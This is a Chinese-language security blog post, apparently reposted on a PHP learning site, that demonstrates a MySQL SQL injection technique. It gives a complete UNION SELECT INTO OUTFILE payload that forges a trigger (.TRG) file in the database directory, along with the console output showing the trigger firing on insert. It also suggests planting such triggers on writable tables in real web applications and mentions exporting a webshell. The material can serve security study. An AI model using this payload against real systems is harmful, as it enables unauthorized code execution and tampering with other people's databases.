网站地图    收藏   

主页 > 后端 > 网站安全 >

MySQL Stacked Queries with SQL Injection - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 文/superhei 2012-06-04最早与2010年在wisec看到这个利用:http://www.wisec.it/sectou.php?id=4bced661462bd 当时一直没有去测试,今天测试了一下。记录一下 :)这种利用场景主要适合于数据库web分离的...

文/superhei 2012-06-04
 
最早与2010年在wisec看到这个利用:http://www.wisec.it/sectou.php?id=4bced661462bd 当时一直没有去测试,今天测试了一下。记录一下 :)
 
这种利用场景主要适合于数据库web分离的拥有file权限写文件并可注射的情况。具体要求:
 
1、web应用连接数据库用户拥有file权限。
2、拥有一个不受魔术引号的注射点。
3、数据库web分离,因为没有分离就可以直接导出webshell了:)
 
效果:可以实现多语句执行。这个就意味着可以又select实现update insert等操作,这个可能利用2次漏洞实现对webapp实行更大效果攻击。
 
测试过程:
 
本地有个表:
mysql> desc aa.article; www.2cto.com
+-----------+--------------+------+-----+---------+----------------+
| Field     | Type         | Null | Key | Default | Extra          |
+-----------+--------------+------+-----+---------+----------------+
| articleid | int(11)      | NO   | PRI | NULL    | auto_increment |
| title     | varchar(100) | NO   |     |         |                |
| content   | text         | NO   |     | NULL    |                |
+-----------+--------------+------+-----+---------+----------------+
3 rows in set (0.01 sec)
 
执行语句:
select * from article where articleid=3 and 1=2 union select null,null,'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/aa/article.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin\\nselect 1111 into outfile \\\'/tmp/aa.txt\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';
 
mysql> select * from article where articleid=3 and 1=2 union select null,null,'TYPE=TRIGGERS' into outfile
    -> '/var/lib/mysql/aa/article.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin\\nselect 1111 into outfile \\\'/tmp/aa.txt\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';
Query OK, 1 row affected (0.04 sec)
 
本地文件:
root@ubuntu:/var/lib/mysql/aa# cat article.TRG
\N    \N    TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin\nselect 1111 into outfile \'/tmp/aa.txt\';\nend'
sql_modes=0
definers='root@localhost'
client_cs_names='latin1'
connection_cl_names='latin1_swedish_ci'
db_cl_names='latin1_swedish_ci'
root@ubuntu:/var/lib/mysql/aa# ls /tmp/aa.txt
ls: 无法访问/tmp/aa.txt: 没有那个文件或目录
 
回到mysql shell下执行:
 
mysql> insert into article (articleid,title,content) values (20,2,3);
Query OK, 1 row affected (0.00 sec)
 
再看看文件:
root@ubuntu:/var/lib/mysql/aa# ls /tmp/aa.txt
/tmp/aa.txt
root@ubuntu:/var/lib/mysql/aa# cat /tmp/aa.txt
1111
 
在实际的web环境下,可以把触发器写在具有插入或者删除、更新权限的表里 :)

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论